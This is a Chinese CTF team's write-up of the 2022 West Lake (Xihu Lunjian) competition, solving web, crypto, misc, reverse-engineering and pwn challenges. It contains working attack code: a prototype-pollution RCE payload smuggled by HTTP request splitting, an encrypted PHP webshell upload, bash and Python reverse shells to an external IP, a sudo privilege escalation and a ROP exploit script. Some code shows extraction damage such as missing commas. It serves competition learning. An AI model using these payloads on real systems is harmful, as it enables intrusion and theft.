2022西湖论剑 wp by 圣地亚哥皮蛋
2023-2-4 15:22:28 Author: 山警网络空间安全实验室(查看原文) 阅读量:188 收藏

2022年,中国共产党第二十次全国代表大会顺利举行,我国正式开启第二个百年奋斗目标。二十大报告中提到,要推进国家安全体系和能力现代化,坚决维护国家安全和社会稳定。网络安全作为国家安全的关键部分,在现代化的未来,需要更多青年人才的投入与坚守。 “西湖论剑·中国杭州网络安全技能大赛”在过去5年中秉承网络安全人才培养的初心,为网络安全人才竞技提供创新舞台。本届大赛将回归网络安全的本质,持续选拔优秀网络安全人才、挖掘先进网络攻防技术,助力构筑安全、可靠的网络环境,为我国数字经济与现代化发展服务。 

在本次比赛中,我校圣地亚哥皮蛋战队取得第25名。

  • Web

    • real_ez_node

    • 扭转乾坤

    • Node Magical Login

    • unusual php

  • Crypto

    • MyErrorLearn

  • Misc

    • take_the_zip_easy

    • mp3

    • 签到题喵

  • Re

    • Dual personality

  • PWN

    • DAS留言板

Web

real_ez_node

拿到源码,发现 routes/index.js 里面使用了 safe-obj,应该是考察他的原型链污染漏洞,因为对对象进行操作的nodejs模块存在原型链污染漏洞的概率是非常大的。使用以下poc进行测试,发现确实存在原型链污染:

const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami);

for (let index in JSON.parse(payload)) {
    safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);

image-20230202165056134

但是题目过滤了 __proto__ 源码,一般情况下直接用 constructor 和 prototype 组合 {"constructor": {"prototype": {"whoami": "Vulnerable"}}} 就能绕过了,但是这里不行。跟进 safeobj.expand() 的源码一探究竟:

image-20230202165323983

发现如果键名里面存在 . 才会继续调用 _safe.expand,相当于递归merge的操作,那么我们可以用以下构造便能绕过 __proto__ 了:

{"constructor.prototype.whoami""Vulnerable"}

此外,题目还是用了 ejs 模板引擎,那么我们很容易想到原型链污染+ejs构造RCE,但是触发原型链污染的/copy路由必须从127.0.0.1本地访问,需要进行ssrf:

image-20230202165640299

发现 /curl 路由可以发起http请求,可以触发ssrf:

image-20230202165726037

还有一点,/copy路由只能用post方法访问,从Dockerfile可以看到当前nodejs版本为8.1.2:

image-20230202165937321

该版本存在 Unicode 字符损坏造成的 HTTP 拆分攻击,之前出过很多这种题目了,可以直接看我写的博客:https://xz.aliyun.com/t/9707#toc-11

编写以下脚本构造payload:

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Connection: close

{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/47.117.125.220/2333 0>&1\\"');var __tmp2"}

GET / HTTP/1.1
test:'''

.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)
print(payload)
# 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺijİİİčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠıĸİčĊŃšţŨťĭŃůŮŴŲůŬĺĠŭšŸĭšŧťĽİčĊŕŰŧŲšŤťĭʼnŮųťţŵŲťĭŒťűŵťųŴųĺĠıčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįŪųůŮčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįıİĹĮİĮİĮİĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹĬťŮĻűĽİĮĸĬŲŵĻűĽİĮķĬŪšĻűĽİĮĶčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊŻĢţůŮųŴŲŵţŴůŲĮŰŲůŴůŴŹŰťĮůŵŴŰŵŴņŵŮţŴũůŮŎšŭťĢĺĠĢşŴŭŰıĻŧŬůŢšŬĮŰŲůţťųųĮŭšũŮōůŤŵŬťĮŲťűŵũŲťĨħţŨũŬŤşŰŲůţťųųħĩĮťŸťţĨħŢšųŨĠĭţĠŜĢŢšųŨĠĭũĠľĦĠįŤťŶįŴţŰįĴķĮııķĮıIJĵĮIJIJİįIJijijijĠİľĦıŜĢħĩĻŶšŲĠşşŴŭŰIJĢŽčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ

将生生成的payload进行url编码后发包:

image-20230202105741820

成功反弹shell并得到flag:

image-20230202105645424

扭转乾坤

一个java上传:

image-20230202123907702

上传,需要从RFC规范差异绕过waf,直接参考https://www.anquanke.com/post/id/241265 这篇文章钟大哥描述,在Content-Type里面加一个空格即可绕过(即 multipart/fo rm-data),如下图所示。当然,加双引号也是可以绕过的。

image-20230202124010209

请求成功之后直接就得到了 flag。

Node Magical Login

image-20230202134359393

直接将cookie设为 user=admin 就可以拿到 flag1:

image-20230202134830593

然后想办法拿到flag2:

image-20230202134512439

这里的判断存在缺陷,我们可以通过json传入一个长度为16的数组,让 checkcode = checkcode.toLowerCase() 报错,然后进入 catch 就能拿到flag:

POST: /getflag2
Body:{"checkcode":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}
image-20230202134911320

unusual php

直接读index.php发现乱码:

image-20230202162107451

应该是对php源码进行了加密。读取 /proc/self/maps 查看当前进程的内存映射关系,发现加载了一个名为zend_test的扩展,如下图所示。

/?a=read&file=/proc/self/maps
image-20230202162439024

通过php://filter加base64将zend_test.so读取出来:

/?a=read&file=php://filter/read=convert.base64-encode/woofers/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so
image-20230202162653031

然后用IDA逆向,发现 RC4_set_key 函数:

image-20230202162716228

寻找调用该函数的地方,发现my_compile_file函数调用了这个RC4_set_key 函数:

image-20230202162824124

反编译发现 RC4 密钥 abcsdfadfjiweur,见下图:

image-20230202162921835

目前可以知道,服务器上的php源码是经过RC4加密的,题目加载自定义zend_test.so扩展,对php源码解密后进行解析。

因此我们在上传webshell的时候需要对webshell进行RC4加密,然后上传。

从网上找个RC4加密脚本:https://blog.51cto.com/pythonywy/2838927 简单改改即可成功上传webshell:

import requests
from Crypto.Cipher import ARC4

def rc4_encrypt(data, key):
    key = bytes(key, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    return res

files = {'file': ('shell.php', rc4_encrypt("<?php eval($_POST[cmd]);?>""abcsdfadfjiweur"), 'text/plain')}
res = requests.post(url='http://80.endpoint-eead2f3ac80e4ead9b3fccd9f665b816.m.ins.cloud.dasctf.com:81/?a=upload', files=files)
print(res.text)

然后反弹shell:

cmd=system("python3 -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.117.125.220',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\"");

根目录发现flag:

image-20230202161646926

直接读没有权限,需要提权,suid不行,尝试sudo提权:

sudo -l
image-20230202161832598

在gtfobins上搜到chmod的sudo提权方法:

image-20230202161926154

成功得到flag:

image-20230202162004884

Crypto

MyErrorLearn

不会造格子,看到随机数只有246位,想到用二元cop梭

两组rd消掉secret

因为是个随机数,所以有一定可能没有逆元,多搞几组数据,总能跑出来

import gmpy2
import itertools

def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
        R = f.base_ring()
        N = R.cardinality()
        f /= f.coefficients().pop(0)
        f = f.change_ring(ZZ)

        G = Sequence([], f.parent())
        for i in range(m + 1):
            base = N ^ (m - i) * f ^ i
            for shifts in itertools.product(range(d), repeat=f.nvariables()):
                g = base * prod(map(power, f.variables(), shifts))
                G.append(g)

        B, monomials = G.coefficient_matrix()
        monomials = vector(monomials)

        factors = [monomial(*bounds) for monomial in monomials]
        for i, factor in enumerate(factors):
            B.rescale_col(i, factor)

        B = B.dense_matrix().LLL()

        B = B.change_ring(QQ)
        for i, factor in enumerate(factors):
            B.rescale_col(i, 1 / factor)

        H = Sequence([], f.parent().change_ring(QQ))
        for h in filter(None, B * monomials):
            H.append(h)
            I = H.ideal()
            if I.dimension() == -1:
                H.pop()
            elif I.dimension() == 0:
                roots = []
                for root in I.variety(ring=ZZ):
                    root = tuple(R(root[var]) for var in f.variables())
                    roots.append(root)
                    return roots
        return []
p = 25235191023234507111851456801584528206985042372267404671395031238130953062002356925024712987566004666222040105887691280375737186627897258541670845000341876132788858532732358145460508251021346995709254475670322359379637454607373466811177186085463653085496949031553289898489953299178676637862141836718530047773

r1 = 10544517294635945308817470415673953180771362098899599976968725399311297296771746063997656229842402301560388736537720072539280424639830877602651632407831551
d1 = 2782528780800419362659480974397004651422831281847745023224292163582634715423442801703341739873334730188828548753799159782529647181590717434501610505691395089780318863450133125982641536246649982688739268421835101997544552742224093729633871069390982382877002517870454671460305638156813116404018630273442795789
r2 = 10499691476661565229277475757146922660983129109495092615067985844065823389870815687394514169362044750353685361213441768156054347771612267920637103002028879
d2 = 3547744859224246950881898678283331489783118786682083992297673853987124277732975529747762299888847775026877369564156210168611385895832076443705943229153199445510086462041507723641534793223186305472220492817699838310227909445124212707082628331021332354893506157533573796617760071491467464095229951567625188503
def secret(p,r1,d1,r2,d2):
    PR.<t1,t2> = PolynomialRing(Zmod(p))
    f1 = d2+t2-(d2+t2)*(d1+t1)*r1
    f2 = d1+t1-(d2+t2)*(d1+t1)*r2
    f = f1-f2
    roots = small_roots(f, (2^2462^246), m=5)
    if roots:
        t1,t2 = roots[0]
        S = gmpy2.invert(int(d1+t1), p)-r1
        return int(S)
    else:
        return 'nonono'
print(secret(p,r1,d1,r2,d2))

把求出的secret递回去

Misc

take_the_zip_easy

zip明文爆破的深入利用:已知文件名为dasflow.加上zip默认头504B0304,8+4=12,可以明文爆破

解压后是流量包

做过类似的,魔改的哥斯拉流量,套了一个gzdecode,das月赛书鱼的秘密,直接抄脚本:http://mon0dy.top/2022/04/11/2022DASCTF%20X%20SU%20%E4%B8%89%E6%9C%88%E6%98%A5%E5%AD%A3%E6%8C%91%E6%88%98%E8%B5%9B/#%E4%B9%A6%E9%B1%BC%E7%9A%84%E7%A7%98%E5%AF%86

挨个解,找到

先解响应包

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
#前后去掉16个定位符
echo gzdecode(encode(base64_decode('J+5pNzMyNmU2ZjBlcX1/rfQu1mV7+X8pYbVLG/AefClpVTHi1zA2QeegNC45MTY='),$key));

看到adding flag,确定zip的密码在这个包的请求里

解请求包:

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
$data = 'J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3';
$decode = encode(base64_decode($data),$key);
echo base64_encode(gzdecode($decode));

得到flag.zip的密码

在找到flag.zip

解压flag.zip即可

mp3

mp3尾部有个图片,提出来,zsteg发现有个zip压缩包

zip是损坏的,winrar修复一下,有密码

mp3stego空密码

提取出zip的密码为8750d5109208213f,解压

rot47

控制台一跑

签到题喵

图片底部有额外文字

Re

Dual personality

ida打开后需要先定义函数,然后去掉一些没用的跳转后可以反编译代码

这里先进行了一次加密,dword的数据可以通过动调得到为0x5DF966AE

进入for循环的dword为0x3CA7259D,这样这一部分就可逆了

int __cdecl sub_401120(size_t Size, int a2)
{
  char *v2; // ebx
  char *retaddr; // [esp+D0h] [ebp+4h]

  dword_407050 = VirtualAlloc(0, Size + 60x3000u, 0x40u);
  dword_407000 = (int)dword_407050;
  memcpy(dword_407050, retaddr, Size);
  v2 = (char *)dword_407050 + Size;
  *v2 = -23;
  *(_DWORD *)(v2 + 1) = &retaddr[Size] - v2 - 5;
  v2[5] = -52;
  *retaddr = -22;
  *(_DWORD *)(retaddr + 1) = a2;
  *(_WORD *)(retaddr + 5) = 51;
  return 0;
}

经过动调发现sub_401120函数会将这个地址后⾯的7个字节的地址改造成进⾏位数转化的jmp far

⽬标地址的指令,⽽新开空间保存的代码,他会跳转回原来返回地址+7的地方,跳过改造之后的代码

再往下看

这里进行了一次异或,407014只有4位,这里就是按位跟加密后的数据进行异或

在动调中401120函数又对407014的值产生了影响

经过计算值应该是4, 0x77, 0x82, 0x4a

再就是dword位与qword位之间的转化了

下面写解密脚本

data = [0xAA,0x4F,0x0F,0xE2,0xE4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0xBC,0x8F,0x8B,0x78,0xD3,0x73,0x88,0x5E,0xAE,0x47,0x85,0x70,0x31,0xB3,0x9,0xCE,0x13,0xF5,0xD,0xCA,0]
k = [40x770x820x4a]
for i in range(len(data)):
    data[i] ^= k[i % 4]

data1 = []
for i in range(4):
    a = data[i * 8]
    a += data[i * 8 + 1] << 8
    a += data[i * 8 + 2] << 16
    a += data[i * 8 + 3] << 24
    a += data[i * 8 + 4] << 32
    a += data[i * 8 + 5] << 40
    a += data[i * 8 + 6] << 48
    a += data[i * 8 + 7] << 56
    data1.append(a)
#print(data1)
def fun1(e, m):
    return (e >> m) | ((e << (64 - m)) )
data1[0] = fun1(data1[0], 12)
data1[1] = fun1(data1[1], 34)
data1[2] = fun1(data1[2], 56)
data1[3] = fun1(data1[3], 14)
for i in range(4):
    data[i * 8] = data1[i] & 0xff
    data[i * 8 + 1] = (data1[i] >> 8) & 0xff
    data[i * 8 + 2] = (data1[i] >> 16) & 0xff
    data[i * 8 + 3] = (data1[i] >> 24) & 0xff
    data[i * 8 + 4] = (data1[i] >> 32) & 0xff
    data[i * 8 + 5] = (data1[i] >> 40) & 0xff
    data[i * 8 + 6] = (data1[i] >> 48) & 0xff
    data[i * 8 + 7] = (data1[i] >> 56) & 0xff
print(data)
data2 = []
for i in range(8):
    a = data[i * 4]
    a += data[i * 4 + 1] << 8
    a += data[i * 4 + 2] << 16
    a += data[i * 4 + 3] << 24
    data2.append(a)
print(data2)
#[1846184147, 2330059187, 209878574, 218208010, 168089402, 120629780, 140382767, 282460734]

exp:

data2=[1846184147,2330059187,209878574,218208010,168089402,120629780,140382767,282460734]
t=0x3CA7259D
flag=[0]*32
flag1=[0]*8
for i in range(8):
  flag1[i]=data2[i]-t
  flag[i * 4] = flag1[i] & 0xff
  flag[i * 4 + 1] = (flag1[i] >> 8) & 0xff
  flag[i * 4 + 2] = (flag1[i] >> 16) & 0xff
  flag[i * 4 + 3] = (flag1[i] >> 24) & 0xff
  t ^= data2[i]
print(bytes(flag))
#b'6cc1e44811647d38a15017e389b3f704'

PWN

DAS留言板

一次格式化字符串+orw

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
#from LibcSearcher import * 

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

#p = process('./pwn')#, env={"LD_PRELOAD":'./libc.so.6'})
p = remote('tcp.cloud.dasctf.com',24690)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def debug():
 gdb.attach(p)
 pause()

sla('Welcome to DASCTF message board, please leave your name:\n','%p')
ru('Hello, 0x')
stack = int(r(12),16)+8
leak('stack',stack)

rdi = 0x0000000000401413
leave = 0x00000000004012e1
pl = p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x0401150)
pl = pl.ljust(0xb0,b'a')
pl += p64(stack)+p64(leave)
#debug()
p.sendafter('Now, please say something to DASCTF:\n',pl)

ru('Posted Successfully~\n')
libcbase = uu64(r(6)) - libc.sym['puts']
leak('libcbase',libcbase)

#rdi = libcbase + 0x0000000000023b6a
rsi = libcbase + 0x000000000002601f
rdx = libcbase + 0x0000000000142c92
opent = libcbase + libc.sym['open']
read = libcbase + libc.sym['read']
puts = libcbase + libc.sym['puts']
pl = b'./flag\x00\x00' + p64(rdi) + p64(stack-0x178) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(opent)
pl += p64(rdi) + p64(3) + p64(rsi) + p64(0x0404180) + p64(rdx) + p64(0x30) + p64(read)
pl += p64(rdi) + p64(0x0404180) + p64(puts) + p64(0x0401150)
pl = pl.ljust(0xb0,b'a')
pl += p64(stack-0x178)+p64(leave)
#debug()
p.sendafter('Now, please say something to DASCTF:\n',pl)

itr()

感觉给的libc不太对,用2.31ubuntu9.7的打通了


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450784784&idx=1&sn=237cbabe29d93151d9d83d0eb5286146&chksm=b104f33786737a217cbccdc322cffb2aed28dd8d1048718dea531ff99458f4aca6921f81b036#rd
如有侵权请联系:admin#unsafe.sh